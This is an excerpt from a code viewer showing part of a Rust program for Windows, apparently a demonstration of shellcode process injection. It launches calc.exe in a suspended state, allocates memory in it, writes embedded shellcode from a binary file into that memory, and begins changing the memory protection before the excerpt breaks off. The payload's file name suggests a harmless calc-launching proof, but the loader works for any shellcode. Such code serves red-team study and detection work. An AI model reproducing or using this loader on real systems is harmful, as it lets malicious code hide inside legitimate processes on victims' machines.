()
| 22 | |
| 23 | #[cfg(target_os = "windows")] |
| 24 | fn main() { |
| 25 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 26 | let shellcode_size = shellcode.len(); |
| 27 | let program = b"C:\\Windows\\System32\\calc.exe\0"; |
| 28 | |
| 29 | #[repr(C)] |
| 30 | struct Peb { |
| 31 | reserved: [c_char; 0x10], |
| 32 | image_base_address: *mut c_void, |
| 33 | } |
| 34 | |
| 35 | unsafe { |
| 36 | let mut process_info: PROCESS_INFORMATION = zeroed(); |
| 37 | |
| 38 | let mut startup_info: STARTUPINFOA = zeroed(); |
| 39 | startup_info.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED; |
| 40 | startup_info.wShowWindow = 1; |
| 41 | |
| 42 | let res = CreateProcessA( |
| 43 | program.as_ptr(), |
| 44 | null_mut(), |
| 45 | null(), |
| 46 | null(), |
| 47 | TRUE, |
| 48 | CREATE_SUSPENDED, |
| 49 | null(), |
| 50 | null(), |
| 51 | addr_of!(startup_info), |
| 52 | addr_of_mut!(process_info), |
| 53 | ); |
| 54 | if res == FALSE { |
| 55 | panic!("[-]CreateProcessA failed: {}!", GetLastError()); |
| 56 | } |
| 57 | |
| 58 | let addr = VirtualAllocEx( |
| 59 | process_info.hProcess, |
| 60 | null(), |
| 61 | shellcode_size, |
| 62 | MEM_COMMIT | MEM_RESERVE, |
| 63 | PAGE_READWRITE, |
| 64 | ); |
| 65 | if addr.is_null() { |
| 66 | panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); |
| 67 | } |
| 68 | |
| 69 | let res = WriteProcessMemory( |
| 70 | process_info.hProcess, |
| 71 | addr, |
| 72 | shellcode.as_ptr().cast(), |
| 73 | shellcode_size, |
| 74 | null_mut(), |
| 75 | ); |
| 76 | if res == FALSE { |
| 77 | panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); |
| 78 | } |
| 79 | |
| 80 | let mut old = PAGE_READWRITE; |
| 81 | let res = VirtualProtectEx( |
nothing calls this directly
no outgoing calls
no test coverage detected